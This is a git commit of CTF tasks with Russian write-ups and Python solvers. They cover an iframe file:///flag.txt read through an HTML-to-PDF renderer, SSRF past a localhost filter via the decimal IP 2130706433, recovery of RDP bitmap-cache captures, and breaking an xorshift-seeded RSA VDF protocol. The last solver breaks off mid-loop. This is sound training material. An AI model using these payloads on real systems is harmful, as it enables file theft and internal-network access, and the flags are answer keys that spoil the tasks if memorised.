Init. commit

This commit is contained in:
Caplag
2026-03-02 21:44:22 +03:00
committed by Ivan Z
commit 9511b38280
38 changed files with 4397 additions and 0 deletions

1
.gitattributes vendored Normal file
View File

@@ -0,0 +1 @@
* text=auto eol=lf

View File

@@ -0,0 +1,24 @@
# Web 1.1 Cкрипторий Архимага
В Башне Магов спрятан Запретный гримуар. Архимаг печатает свитки, но забывает закрыть доступ к библиотеке башни. Воспользуйтесь скрипториумом, чтобы добыть содержимое гримуара.
## Решение
Таск рендерит переданный `HTML/Markdown` в **PDF** и позволяет встраивать в сгенерированный файл внешние ресурсы. За счёт этого можно передать в `iframe` путь `file:///flag.txt` и заставить рендерер прочитать локальный файл при генерации `scroll.pdf`.
Для этого отправляем **POST** на `/seal`, в поле `content` передаём HTML с `iframe`, затем читаем содержимое в готовом PDF.
### Пример
Через `curl`:
```bash
curl -s -X POST http://localhost:8000/seal \
-F 'content=<h1>Королевский Указ</h1><iframe src="file:///flag.txt" style="width:800px;height:200px"></iframe>' \
-F 'format=html' \
-o scroll.pdf
```
Через скрипт `solve/exploit.py`:
```bash
python solve/exploit.py http://localhost:8000
```

View File

@@ -0,0 +1,27 @@
import sys
import requests
def main():
base = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8000"
payload = """
<h1>Королевский Указ</h1>
<p>Приложение: выдержка из гримуара</p>
<iframe src="file:///flag.txt" style="width:800px;height:200px"></iframe>
""".strip()
resp = requests.post(
f"{base}/seal",
data={"content": payload, "format": "html"},
timeout=10,
)
resp.raise_for_status()
with open("scroll.pdf", "wb") as f:
f.write(resp.content)
print("saved scroll.pdf")
if __name__ == "__main__":
main()

29
BMP1-Forensic/README.md Normal file
View File

@@ -0,0 +1,29 @@
# BMP1
На разработчика задачи была проведена атака. Мы так и не выяснили, что произошло, но спустя время заметили, что в систему был встроен скрипт, который при запуске клиента `xfreerdp` добавлял дополнительные параметры. Вся строка запуска указана ниже:
```
xfreerdp3 /v:ip /u:Administrator /p:'pass' /cert:ignore \
/bpp:32 /network:lan \
/cache:bitmap:on,codec:off,glyph:on,offscreen:on,persist,persist-file:$HOME/.cache/rdp/data.bin \
-gfx -rfx \
/w:2020 /h:1280
```
Помогите узнать, чего добивались злоумышленники.
## Решение
По ключам запуска определяем, что злоумышленники хотели сохранить *сырое графическое представление RDP-сеанса*. Используется глубина 32 бита, отключаются кодеки с потерями, отключается масштабирование, а bitmap-кэш принудительно пишется в `persist-file:$HOME/.cache/rdp/data.bin`.
Получается, что цель - собрать из кэша артефакты удалённого экрана и восстановить содержимое сеанса (вплоть до флага).
Для извлечения тайлов можно воспользоваться тулзой `bmc-tools`:
```bash
git clone https://github.com/ANSSI-FR/bmc-tools.git
python3 bmc-tools.py -s data.bin -d ./extracted_tiles
```
После этого остаётся собрать изображение из полученных фрагментов, учитывая размер окна `/w:2020 /h:1280`.
**Получаем флаг**: `CAPLAG{oh_uj_etot_vash_bmp_easy_take_it}`

View File

@@ -0,0 +1,41 @@
# Руна Предвидения
В Гильдии Магов появилась Руна Предвидения: она не творит заклинаний, а описывает путь. Страж Портала Локхолда знает запретные имена, но не знает истинных числовых титулов. Составьте свиток так, чтобы руны вытащили тайну изнутри цитадели и напечатали её в PDF.
Свиток валиден, когда рунический заголовок и гравюра идут парой. Есть 2 режима работы: `meta` и `flag`.
Формат:
`[RUNE rid="..." mode="..." url="..."] ![](/etch?rid=...&what=...)`
## Решение
Сначала изучаем страницу и связанные параметры. По *cookie* находим `rune_rid`, а из описания понимаем, что руна должна использовать этот идентификатор в заголовке. Прямой `localhost` блокируется, поэтому для **SSRF** используем числовую форму `127.0.0.1` - `2130706433`.
### Получение `nonce`
Для первого запроса используем `mode="meta"`. Тогда сервис возвращает служебные данные, в которых печатается одноразовый `nonce`.
```
[RUNE rid="RID_ИЗ_COOKIE" mode="meta" url="http://2130706433/meta"]
![](/etch?rid=RID_ИЗ_COOKIE&what=meta)
```
После печати в PDF появится значение `nonce`.
### Получение флага
Во втором свитке подставляем `nonce` из первого PDF и меняем режим на `flag`:
```
[RUNE rid="RID_ИЗ_COOKIE" mode="flag" url="http://2130706433/flag?nonce=NONCE_ИЗ_PDF"]
![](/etch?rid=RID_ИЗ_COOKIE&what=flag)
```
После печати второго свитка в PDF появляется флаг.
### Не забываем учесть:
- Оракул отвечает только на навигацию документа, поэтому запрос через картинку не сработает: `![](/oracle?rid=x&mode=meta&u=http://2130706433/meta)`.
- Прямой `http://127.0.0.1/...` блокируется стражем по подстроке.
- `file:///flag.txt` блокируется фильтром протокола.
- Гравюра принимает только `/etch` и строгие параметры `rid` и `what`.
- Нельзя вставлять больше одной руны и одной гравюры в один свиток.
- `nonce` одноразовый и живёт около 15 секунд.

136
ForesightRune-Web/solve.py Normal file
View File

@@ -0,0 +1,136 @@
import io
import re
import sys
import time
import requests
BASE_URL = "http://127.0.0.1:8000"
SSRF_META_URL = "http://2130706433/meta"
SSRF_FLAG_URL = "http://2130706433/flag?nonce={nonce}"
def build_scroll(rid: str, mode: str, url: str) -> str:
return (
f'[RUNE rid="{rid}" mode="{mode}" url="{url}"]\n\n'
f"![](/etch?rid={rid}&what={mode})"
)
def get_rid(session: requests.Session) -> str:
resp = session.get(f"{BASE_URL}/")
resp.raise_for_status()
rid = session.cookies.get("rune_rid")
if not rid:
raise RuntimeError("rune_rid cookie not found. Open / in browser once.")
return rid
def seal_scroll(session: requests.Session, content: str) -> bytes:
resp = session.post(f"{BASE_URL}/seal", data={"content": content})
if resp.status_code != 200:
raise RuntimeError(f"/seal failed: {resp.status_code} {resp.text}")
return resp.content
def extract_text_from_pdf(data: bytes) -> str:
try:
import PyPDF2 # type: ignore
except Exception:
return ""
try:
reader = PyPDF2.PdfReader(io.BytesIO(data))
except Exception:
return ""
texts = []
for page in reader.pages:
try:
texts.append(page.extract_text() or "")
except Exception:
continue
return "\n".join(texts)
def extract_nonce_from_pdf(data: bytes) -> str:
text = extract_text_from_pdf(data)
if text:
match = re.search(r"\b[A-Za-z0-9_-]{10,20}\b", text)
if match:
return match.group(0)
# Fallback: brute-search tokens in raw PDF bytes.
raw = data.decode("latin1", errors="ignore")
candidates = re.findall(r"\b[A-Za-z0-9_-]{10,20}\b", raw)
if candidates:
return candidates[0]
raise RuntimeError("Nonce not found in PDF. Install PyPDF2 for reliable parsing.")
def extract_flag_from_pdf(data: bytes) -> str:
text = extract_text_from_pdf(data)
if text:
match = re.search(r"\b[A-Za-z0-9_-]+\{[^}]+\}\b", text)
if match:
return match.group(0)
raw = data.decode("latin1", errors="ignore")
match = re.search(r"\b[A-Za-z0-9_-]+\{[^}]+\}\b", raw)
if match:
return match.group(0)
raise RuntimeError("Flag not found in PDF. Install PyPDF2 for reliable parsing.")
def fetch_svg_text(session: requests.Session, rid: str, what: str) -> str:
resp = session.get(f"{BASE_URL}/etch", params={"rid": rid, "what": what})
resp.raise_for_status()
svg = resp.text
match = re.search(r"<text[^>]*>([^<]+)</text>", svg)
if match:
return match.group(1).strip()
raise RuntimeError("Failed to extract value from SVG.")
def main() -> int:
global BASE_URL
if len(sys.argv) > 1:
base_url = sys.argv[1].rstrip("/")
else:
base_url = BASE_URL
BASE_URL = base_url
session = requests.Session()
rid = get_rid(session)
print(f"[+] rid = {rid}")
# Step 1: get nonce via oracle
scroll_meta = build_scroll(rid, "meta", SSRF_META_URL)
pdf_meta = seal_scroll(session, scroll_meta)
# Prefer extracting from PDF; fallback to /etch if parsing fails.
try:
nonce = extract_nonce_from_pdf(pdf_meta)
except Exception:
nonce = fetch_svg_text(session, rid, "meta")
print(f"[+] nonce = {nonce}")
# Step 2: get flag
scroll_flag = build_scroll(rid, "flag", SSRF_FLAG_URL.format(nonce=nonce))
pdf_flag = seal_scroll(session, scroll_flag)
try:
flag = extract_flag_from_pdf(pdf_flag)
except Exception:
flag = fetch_svg_text(session, rid, "flag")
print(f"[+] flag = {flag}")
return 0
if __name__ == "__main__":
raise SystemExit(main())

View File

@@ -0,0 +1,100 @@
# Сплетники - WriteUp
Задача находится в категории Blackbox (реверс без бинарника) и предполагает наблюдение за работой неизвестного протокола. Уже из вывода эндпоинтов `feed`, `status` и `settings` можно получить базовую картину:
- Есть одна сущность, которая задаёт вопросы, и две сущности, которые отвечают.
- Вопросы имеют жёсткую форму: вопросительное слово, существительное, прилагательное и обстоятельство (ровно 4 слова + `?`).
- Ответы всегда длиной 12 "слов" (фрагментов между пробелами) и выглядят как непрерывная последовательность из "Трёх мушкетёров".
- Сообщения валидируются системным участником `SYSTEM`.
- Общение идёт в рамках "эпох".
- Перед концом эпохи запускается выбор нового лидера: все участники задают вопросы и отвечают, а победитель выбирается по числу правильных ответов и средней задержке.
#### По обращению в эндпоинт `status` можно понять следующее:
```json
{
"epoch": 12841, - номер эпохи
"mode": "CHAT/ELECTION/PAUSE", - режим фида
"leader_kid": "d997ba98d4de71fb", - id задающего в эпохе
"election_duration_sec": 7.0, - длительность элекции
"post_election_pause_sec": 2.0, - длительность паузы
"pause_remaining_sec": 0.0,
"answer_algo": "rsa_vdf_v1", - понимаем, что ответ детерминирован по RSA VDF
"question_algo": "xs64_v1", - понимаем, что вопросы генерируются xorshift64
"vdf_N_hex": "a0ede10c4195e4334e0622f66d94977f3d95ed014847af5c908adfd0d016eac45f8feca1edacd09393e8182039ec9fc0a1521a2d29cc7822084cb8bbe1e2e319e8db7243984c632cf87832d0147291f825a0be20c969bbcbfc0dd8c34a2230382584ffcb066aafa48c98ed5596b6f663dcd29a4fd39a5f7ce31177077e19112093595a68af689da8db66dcc68ff85e1b686621a1777ff2d964a6500550ebdf5de1526ec6135e7147f2afae2ddb975899c891e63cd7a534e461b7b7499a62bd55014d6212584a6feac79b51d438165f4ca890982975e7cc4325932a44fed1d0a305c19a80889be8f9e22cfa074dd325e2eda8bd344a280c36c75f3594c41b498f", - параметр N функции получения ответа
"vdf_T": 10000000, - параметр T функции получения ответа
}
```
#### А если зайдём в `settings`, то увидим:
```json
{
"vdf_keygen": "det_rsa_xs64_v1", - понимаем, что модуль RSA детерминированно генерируется из xorshift64
"vdf_prime_bits": 1024,
"miller_rabin_rounds": 32,
"kid_algo": "sha256:8bytes:hex_lower",
"answer_space": 131072, - пространство возможных ответов (dict_size для hint.py)
"question_vocab": "16x16x16x16", - размерность словаря вопросов
"book_encoding": "koi8_r",
"book_sha256_src": "1babc9e9994556119ea941d0de6d867ce15640d55a2ee3801f577cf86633ea00", - помощь для нахождения книги
"question_xs64_v1": {
"u64_per_question": 4, - 4 генерации на построение вопроса
"index_mask_bits": 4 - утекают 4 бита
},
"master_seed64_sha256_le64_prefix": "...", - жирный намёк, что есть общая часть сида (64-бит)
"epoch_seed64_sha256_le64_prefix": "...", - и тут понимаем, что сид зависит от эпохи
}
```
### На этом этапе делаем выводы
- Книгу можно найти из открытых источников по хешу или по характерным фрагментам ответов.
- Ответ детерминирован и зависит от вопроса, эпохи и конкретного отвечающего.
- Для расчёта ответа используется RSA VDF.
- Свои сообщения можно отправлять в фид, если соблюдён формат и подпись.
- Вопросы в `CHAT` генерируются от `epoch_seed64`.
- Генерация RSA-ключа сидится от `master_seed64` (иначе `N` менялся бы по эпохам).
### Эксперименты с сообщениями
Подбор канона подписи показывает, что `sig` считается по всем полям, кроме самого `sig`. Попытка отправить `QUESTION` в обычной фазе не даёт результата, если мы не лидер, а попытка отправить `ELECTION_QUESTION` в `CHAT` сразу возвращает `400`.
При ответах на вопросы получаем либо "самозванец" (неверный ответ), либо просто не успеваем в тайм-окно. Отсюда основной вывод: алгоритм вычисления ответа нужно радикально ускорять.
Тут и начинается ключевая сложность задачи.
### Путь решения (обязательный)
Нужен бот для работы в реальном времени. Он должен уметь генерировать `kid` (как в `hint.py`), корректно подписывать сообщения и отслеживать смену эпох и режимов.
Минимальный функционал бота:
- опрашивать `/status` и понимать текущие `mode` (`CHAT/ELECTION/PAUSE`), `epoch`, `leader_kid`, `vdf_N_hex`, `vdf_T`;
- читать `/feed`, парсить события и хранить локальный лог по эпохам;
- отправлять `POST /feed` только в допустимом режиме (в `PAUSE` будет `409`);
- корректно выставлять `epoch` и подбирать `qid`, чтобы не конфликтовать с уже существующими сообщениями.
После этого восстанавливаем словарь вопросов, а затем `epoch_seed64` по вопросам лидера. В `CHAT` используется `xorshift64`, на вопрос тратится 4 значения `u64`, а в текст попадают только младшие 4 бита каждого значения. Это сводится к линейной системе GF(2), которая решается обычным гауссом.
Зная `epoch_seed64`, получаем `master_seed64 = epoch_seed64 ^ epoch` и проверяем себя по `master_seed64_sha256_le64_prefix` из `settings`. Далее берём `master_seed32 = master_seed64 & 0xFFFFFFFF`.
### Дальнейший путь
Есть два рабочих направления.
#### 1) "В лоб"
Можно писать максимально быструю реализацию VDF (параллель, низкоуровневый язык) и делать предвычисления для заранее выбранной эпохи.
Ключевой шаг - реверс формулы election-сида (из наблюдений видно, что `election`-вопросы зависят от `epoch` и `kid`):
```
seed = master_seed32 ^ epoch ^ kid16
```
Этот сид прогоняется через **xorshift32** (не `xorshift64`) для генерации `election`-вопросов. После предсказания трёх `ELECTION_QUESTION` на нужную эпоху можно выигрывать выборы и получать флаг как лидер.
#### 2) "Каноническое"
Из `settings` видно `vdf_keygen: det_rsa_xs64_v1`, то есть модуль `N` детерминированно генерируется из `xorshift64` на `master_seed64`. Поскольку `vdf_N_hex` стабилен между эпохами, это и есть нужный корневой сид.
Далее воспроизводим генерацию RSA-ключей, получаем `p` и `q`, проверяем `p*q == vdf_N_hex`, а затем считаем VDF-ответы на `ELECTION_QUESTION` через CRT и сокращение итераций до одной модэкспоненты. Это позволяет обогнать боссов, выиграть выборы и получить флаг.
### Хвосты
Эти факты неочевидны, но сильно упрощают решение:
- Ответ с высокой вероятностью можно однозначно преобразовать в вопрос (последовательности из 12 слов в книге почти всегда уникальны).
- Полезно логировать и `feed`, и `status`: между перезапусками задания RSA-ключи не меняются, так что накопленный датасет пригодится позже.
- В фазе элекции игрок даёт не 2 ответа, а 3, поэтому даже относительно медленная реализация может победить в рамках окна.

View File

@@ -0,0 +1,667 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from __future__ import annotations
import argparse
import base64
import hashlib
import json
import math
import time
from dataclasses import dataclass
from typing import Any, Dict, List, Optional, Sequence, Tuple
import requests
from cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PrivateKey
from cryptography.hazmat.primitives import serialization
# ---------------- Protocol constants ----------------
KIND_ANSWER = "ANSWER"
FLAG_QUESTION_TEXT = "Почему слоник зеленый?"
ANSWER_ALGO = "rsa_vdf_v1"
QUESTION_ALGO = "xs64_v1"
KIND_QUESTION = "QUESTION"
KIND_ELECTION_Q = "ELECTION_QUESTION"
KIND_ELECTION_A = "ELECTION_ANSWER"
NGRAM_LEN = 12 # fixed by task
# ---------------- Small helpers ----------------
def canonical_json(obj: Dict[str, Any]) -> bytes:
return json.dumps(obj, ensure_ascii=False, separators=(",", ":"), sort_keys=True).encode("utf-8")
def canonical_msg_without_sig(msg: Dict[str, Any]) -> bytes:
d = {k: msg[k] for k in msg.keys() if k != "sig"}
return canonical_json(d)
def b64e(b: bytes) -> str:
return base64.b64encode(b).decode("ascii")
def b64d(s: str) -> bytes:
return base64.b64decode(s.encode("ascii"), validate=True)
def kid_from_pk_sha256_8_hex(pk_bytes: bytes) -> str:
return hashlib.sha256(pk_bytes).digest()[:8].hex()
def kid16_from_kid(kid_hex: str) -> int:
kid_hex = kid_hex.strip().lower()
if kid_hex.startswith("0x"):
kid_hex = kid_hex[2:]
if len(kid_hex) < 4:
return 0
return int(kid_hex[-4:], 16) & 0xFFFF
def canon_q(question_text: str) -> str:
return " ".join(str(question_text).strip().split())
def u16be(x: int) -> bytes:
return (int(x) & 0xFFFF).to_bytes(2, "big")
def sha256(data: bytes) -> bytes:
return hashlib.sha256(data).digest()
def seed_to_x(question_text: str, epoch: int, kid_hex: str, N: int) -> int:
kid16 = kid16_from_kid(kid_hex)
q_can = canon_q(question_text)
seed_bytes = sha256(b"vdf|" + u16be(epoch) + u16be(kid16) + q_can.encode("utf-8"))
x = int.from_bytes(seed_bytes, "big") % N
while math.gcd(x, N) != 1:
x = (x + 1) % N
return x
def crt(y_p: int, y_q: int, p: int, q: int) -> int:
inv_p = pow(p % q, -1, q)
t = ((y_q - y_p) % q) * inv_p % q
return y_p + p * t
def vdf_fast(x: int, p: int, q: int, T: int) -> int:
N = p * q
e_p = pow(2, T, p - 1)
e_q = pow(2, T, q - 1)
y_p = pow(x % p, e_p, p)
y_q = pow(x % q, e_q, q)
y = crt(y_p, y_q, p, q)
return y % N
def y_to_idx(y: int, N: int, dict_size: int) -> int:
if dict_size <= 0 or (dict_size & (dict_size - 1)) != 0:
raise ValueError("dict_size must be power of two")
lenN = (N.bit_length() + 7) // 8
h = sha256(int(y).to_bytes(lenN, "big"))
h32 = int.from_bytes(h[:4], "little")
return h32 & (dict_size - 1)
# ---------------- Book 12-gram source ----------------
@dataclass
class BookNGram:
tokens: List[str]
dict_size: int
@staticmethod
def load(book_path: str, *, encoding: str = "koi8_r") -> "BookNGram":
raw = open(book_path, "rb").read()
text = raw.decode(encoding, errors="strict")
text = text.replace("\x14", "").replace("\x15", "")
tokens = text.split()
if len(tokens) < NGRAM_LEN:
raise RuntimeError("book too short")
ngram_count = len(tokens) - NGRAM_LEN + 1
dict_size = 1 << (ngram_count.bit_length() - 1)
return BookNGram(tokens=tokens, dict_size=dict_size)
def lookup(self, idx: int) -> str:
return " ".join(self.tokens[idx: idx + NGRAM_LEN])
def expected_answer_fast(
question_text: str,
epoch: int,
kid_hex: str,
book: BookNGram,
p: int,
q: int,
T: int,
) -> str:
N = p * q
x = seed_to_x(question_text, epoch, kid_hex, N)
y = vdf_fast(x, p, q, T)
idx = y_to_idx(y, N, book.dict_size)
return book.lookup(idx)
# ---------------- xorshift32 + prime gen (same as service) ----------------
class XorShift32:
__slots__ = ("state",)
def __init__(self, state: int):
self.state = int(state) & 0xFFFFFFFF
if self.state == 0:
self.state = 1
def next_u32(self) -> int:
x = self.state
x ^= (x << 13) & 0xFFFFFFFF
x ^= (x >> 17) & 0xFFFFFFFF
x ^= (x << 5) & 0xFFFFFFFF
self.state = x & 0xFFFFFFFF
return self.state
def next_u64(self) -> int:
hi = self.next_u32()
lo = self.next_u32()
return ((hi << 32) | lo) & 0xFFFFFFFFFFFFFFFF
_SMALL_PRIMES = (
3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59,
61, 67, 71, 73, 79, 83, 89, 97,
)
def is_probable_prime(n: int, rounds: int = 32) -> bool:
n = int(n)
if n < 2:
return False
if n in (2, 3):
return True
if n % 2 == 0:
return False
for p in _SMALL_PRIMES:
if n == p:
return True
if n % p == 0:
return False
d = n - 1
s = 0
while (d & 1) == 0:
d >>= 1
s += 1
for i in range(int(rounds)):
a = 2 + i
if a >= n - 1:
a = 2 + (a % (n - 3))
x = pow(a, d, n)
if x == 1 or x == n - 1:
continue
for _ in range(s - 1):
x = (x * x) % n
if x == n - 1:
break
else:
return False
return True
def cand_from_rng_1024(rng) -> int:
parts = [rng.next_u64() for _ in range(16)]
b = b"".join(int(x).to_bytes(8, "big") for x in parts)
cand = int.from_bytes(b, "big")
cand |= (1 << 1023)
cand |= 1
return cand
def generate_prime_1024(rng) -> int:
cand = cand_from_rng_1024(rng)
while not is_probable_prime(cand):
cand += 2
return cand
class XorShift64:
__slots__ = ("state",)
def __init__(self, state: int):
self.state = int(state) & 0xFFFFFFFFFFFFFFFF
if self.state == 0:
self.state = 1
def next_u64(self) -> int:
x = self.state
x ^= (x << 13) & 0xFFFFFFFFFFFFFFFF
x ^= (x >> 7) & 0xFFFFFFFFFFFFFFFF
x ^= (x << 17) & 0xFFFFFFFFFFFFFFFF
self.state = x & 0xFFFFFFFFFFFFFFFF
return self.state
def master_seed32_from_secret(secret: str) -> int:
h = hashlib.sha256(secret.encode("utf-8")).digest()
seed32 = int.from_bytes(h[:4], "little") & 0xFFFFFFFF
if seed32 == 0:
seed32 = 1
return seed32
def master_seed64_from_secret(secret: str) -> int:
h = hashlib.sha256(secret.encode("utf-8")).digest()
seed64 = int.from_bytes(h[:8], "little") & 0xFFFFFFFFFFFFFFFF
if seed64 == 0:
seed64 = 1
return seed64
def generate_vdf_params(master_seed64: int, T: int) -> Tuple[int, int, int]:
rng = XorShift64(master_seed64)
p = generate_prime_1024(rng)
q = generate_prime_1024(rng)
while q == p:
q = generate_prime_1024(rng)
N = p * q
return p, q, N
# ---------------- Question parsing + linear recovery (64-bit xorshift) ----------------
@dataclass
class Vocab:
W: List[str]
N: List[str]
A: List[str]
E: List[str]
@staticmethod
def empty() -> "Vocab":
return Vocab(W=[], N=[], A=[], E=[])
def parse_question_words(q: str) -> Optional[Tuple[str, str, str, str]]:
# Expect "W N A E?" exactly 4 words
parts = q.strip().split()
if len(parts) != 4:
return None
w, n, a, e = parts
if not e.endswith("?"):
return None
e = e[:-1]
w = w.lower()
n = n.lower()
a = a.lower()
e = e.lower()
return w, n, a, e
def build_vocab_from_questions(questions: Sequence[str]) -> Vocab:
ws, ns, a_s, es = set(), set(), set(), set()
for q in questions:
parsed = parse_question_words(q)
if not parsed:
continue
w, n, a, e = parsed
ws.add(w); ns.add(n); a_s.add(a); es.add(e)
# Protocol guarantees 16 each once we've seen enough traffic
return Vocab(W=sorted(ws), N=sorted(ns), A=sorted(a_s), E=sorted(es))
def question_to_obs4(q: str, vocab: Vocab) -> Optional[Tuple[int, int, int, int]]:
parsed = parse_question_words(q)
if not parsed:
return None
w, n, a, e = parsed
try:
return (vocab.W.index(w), vocab.N.index(n), vocab.A.index(a), vocab.E.index(e))
except ValueError:
return None
def xs64_next(state: int) -> int:
x = state & 0xFFFFFFFFFFFFFFFF
x ^= (x << 13) & 0xFFFFFFFFFFFFFFFF
x ^= (x >> 7) & 0xFFFFFFFFFFFFFFFF
x ^= (x << 17) & 0xFFFFFFFFFFFFFFFF
return x & 0xFFFFFFFFFFFFFFFF
def build_linear_system_from_obs(obs: List[int], steps: int) -> Tuple[List[int], List[int]]:
MASK = 0xFFFFFFFFFFFFFFFF
def xs64_step_masks(m: int) -> int:
x = m
x ^= (x << 13) & MASK
x ^= (x >> 7) & MASK
x ^= (x << 17) & MASK
return x & MASK
rows: List[int] = []
rhs: List[int] = []
vecs = [1 << k for k in range(64)]
for t in range(steps):
vecs = [xs64_step_masks(v) for v in vecs]
nib = obs[t] & 0xF
for bit in range(4):
row = 0
for k in range(64):
if (vecs[k] >> bit) & 1:
row |= 1 << k
rows.append(row)
rhs.append((nib >> bit) & 1)
return rows, rhs
def gf2_gauss_elim(rows: List[int], rhs: List[int]) -> Optional[int]:
"""
Solve A x = b over GF(2) for 64 vars, return one solution as 64-bit int.
"""
n = 64
m = len(rows)
rows = rows[:]
rhs = rhs[:]
pivot_row_for_col = [-1] * n
r = 0
for c in range(n):
piv = None
for i in range(r, m):
if (rows[i] >> c) & 1:
piv = i
break
if piv is None:
continue
rows[r], rows[piv] = rows[piv], rows[r]
rhs[r], rhs[piv] = rhs[piv], rhs[r]
pivot_row_for_col[c] = r
for i in range(m):
if i != r and ((rows[i] >> c) & 1):
rows[i] ^= rows[r]
rhs[i] ^= rhs[r]
r += 1
if r == m:
break
for i in range(m):
if rows[i] == 0 and rhs[i] == 1:
return None
x = 0
for c in range(n - 1, -1, -1):
pr = pivot_row_for_col[c]
if pr == -1:
continue
s = rhs[pr]
row = rows[pr]
for j in range(c + 1, n):
if (row >> j) & 1:
s ^= (x >> j) & 1
if s & 1:
x |= 1 << c
return x & 0xFFFFFFFFFFFFFFFF
def recover_epoch_seed64_from_obs4(obs4: List[Tuple[int, int, int, int]]) -> Optional[int]:
"""
For each question we observe 4 consecutive xs64 outputs low 4 bits.
"""
obs_nibbles: List[int] = []
for o in obs4:
obs_nibbles.extend([o[0], o[1], o[2], o[3]])
obs_nibbles = obs_nibbles[:200] # 50 questions * 4
if len(obs_nibbles) < 64:
return None
rows, rhs = build_linear_system_from_obs(obs_nibbles, steps=len(obs_nibbles))
sol = gf2_gauss_elim(rows, rhs)
return sol
# ---------------- Feed client / play loop ----------------
class Player:
def __init__(self, feed_url: str, book: BookNGram, play: bool):
self.feed_url = feed_url.rstrip("/")
self.book = book
self.play = play
self.session = requests.Session()
# Generate an Ed25519 keypair for signing messages
self.sk = Ed25519PrivateKey.generate()
self.pk = self.sk.public_key().public_bytes(
encoding=serialization.Encoding.Raw,
format=serialization.PublicFormat.Raw,
)
self.kid = kid_from_pk_sha256_8_hex(self.pk)
self.pk_b64 = b64e(self.pk)
# Learned data
self.vocab: Optional[Vocab] = None
self.master_seed64: Optional[int] = None
self.master_seed32: Optional[int] = None
self.vdf_p: Optional[int] = None
self.vdf_q: Optional[int] = None
self.vdf_N: Optional[int] = None
self.vdf_T: Optional[int] = None
self.answered_election_qids: set[int] = set()
self._last_epoch_seen: Optional[int] = None
self._flag_sent_epoch: Optional[int] = None
self._flag_qid: Optional[int] = None
self._all_observed_questions: List[str] = [] # accumulate across epochs for vocab
def get_status(self) -> Dict[str, Any]:
r = self.session.get(self.feed_url + "/status", timeout=5)
r.raise_for_status()
return r.json()
def get_feed(self) -> List[Dict[str, Any]]:
r = self.session.get(self.feed_url + "/feed", timeout=10)
r.raise_for_status()
return r.json()
def post(self, *, kind: str, epoch: int, qid: int, text: str) -> None:
msg = {
"ts": int(time.time()),
"kind": kind,
"kid": self.kid,
"epoch": int(epoch),
"qid": int(qid),
"text": text,
"pk": self.pk_b64,
"sig": "",
}
sig = self.sk.sign(canonical_msg_without_sig(msg))
msg["sig"] = b64e(sig)
r = self.session.post(self.feed_url + "/feed", json=msg, timeout=10)
r.raise_for_status()
def try_learn_and_break(self, epoch: int, leader_kid: str, feed: List[Dict[str, Any]]) -> None:
qs = [str(m.get("text", "")) for m in feed if m.get("kind") == KIND_QUESTION and m.get("kid") == leader_kid]
if len(qs) < 20:
return
if self.vocab is None:
# Accumulate questions across epochs for vocab discovery
self._all_observed_questions.extend(qs)
v = build_vocab_from_questions(self._all_observed_questions)
if len(v.W) == 16 and len(v.N) == 16 and len(v.A) == 16 and len(v.E) == 16:
self.vocab = v
print("[solver] learned vocab sets (16 each)")
if self.vocab is None:
return
obs4 = []
for q in qs:
o = question_to_obs4(q, self.vocab)
if o is not None:
obs4.append(o)
if self.master_seed64 is None:
seed_epoch64 = recover_epoch_seed64_from_obs4(obs4)
if seed_epoch64 is None:
return
self.master_seed64 = seed_epoch64 ^ (epoch & 0xFFFFFFFFFFFFFFFF)
self.master_seed32 = self.master_seed64 & 0xFFFFFFFF
print(f"[solver] recovered master_seed64 = {self.master_seed64} (0x{self.master_seed64:016x})")
print(f"[solver] derived master_seed32 = {self.master_seed32} (0x{self.master_seed32:08x})")
if self.master_seed64 is not None and self.vdf_T is not None and self.vdf_N is not None and self.vdf_p is None:
p, q, N = generate_vdf_params(self.master_seed64, self.vdf_T)
if N != self.vdf_N:
print("[solver] generated N does not match /status (wrong seed?)")
return
self.vdf_p = p
self.vdf_q = q
print("[solver] factored vdf_N via regeneration: OK")
def maybe_ask_flag_question(self, epoch: int, mode: str, leader: str, feed: List[Dict[str, Any]]) -> None:
if not self.play:
return
if mode != "CHAT":
return
if leader != self.kid:
return
if self._flag_sent_epoch == epoch:
return
# выбрать следующий свободный qid для моих QUESTION в этой эпохе
my_qids = []
for m in feed:
try:
if int(m.get("epoch", -1)) != int(epoch):
continue
if str(m.get("kind")) != KIND_QUESTION:
continue
if str(m.get("kid")) != self.kid:
continue
my_qids.append(int(m.get("qid", -1)))
except Exception:
continue
qid = (max(my_qids) + 1) if my_qids else 0
self.post(kind=KIND_QUESTION, epoch=epoch, qid=qid, text=FLAG_QUESTION_TEXT)
self._flag_sent_epoch = epoch
self._flag_qid = qid
print(f"[solver] asked flag question qid={qid}")
def maybe_print_flag_answer(self, epoch: int, feed: List[Dict[str, Any]]) -> None:
if self._flag_sent_epoch != epoch or self._flag_qid is None:
return
for m in feed:
try:
if int(m.get("epoch", -1)) != int(epoch):
continue
if str(m.get("kind")) != KIND_ANSWER:
continue
if int(m.get("qid", -1)) != int(self._flag_qid):
continue
txt = str(m.get("text", ""))
except Exception:
continue
if txt.startswith("caplag{"):
print(f"[solver] FLAG: {txt}")
return
def play_showtime(self, epoch: int, mode: str, feed: List[Dict[str, Any]]) -> None:
if not self.play or mode != "ELECTION":
return
if self.vdf_p is None or self.vdf_q is None or self.vdf_T is None:
return
# Собрать все election questions текущей epoch
qs = []
for m in feed:
if m.get("kind") == KIND_ELECTION_Q and int(m.get("epoch", -1)) == int(epoch):
qid = int(m.get("qid", -1))
if qid >= 0:
qs.append((qid, str(m.get("text", ""))))
for qid, q_text in qs:
if qid in self.answered_election_qids:
continue
ans = expected_answer_fast(q_text, epoch, self.kid, self.book, self.vdf_p, self.vdf_q, self.vdf_T)
self.post(kind=KIND_ELECTION_A, epoch=epoch, qid=qid, text=ans)
self.answered_election_qids.add(qid)
def run_forever(self) -> None:
print(f"[solver] kid={self.kid} book.dict_size={self.book.dict_size}")
while True:
try:
st = self.get_status()
epoch = int(st["epoch"])
mode = str(st["mode"])
leader = str(st["leader_kid"]).lower()
if self._last_epoch_seen is None or epoch != self._last_epoch_seen:
self.answered_election_qids.clear()
self._last_epoch_seen = epoch
if str(st.get("answer_algo")) != ANSWER_ALGO:
raise RuntimeError(f"unexpected answer_algo: {st.get('answer_algo')}")
if str(st.get("question_algo")) != QUESTION_ALGO:
raise RuntimeError(f"unexpected question_algo: {st.get('question_algo')}")
self.vdf_N = int(st["vdf_N_hex"], 16)
self.vdf_T = int(st["vdf_T"])
# Ensure our local book-derived answer space matches the service
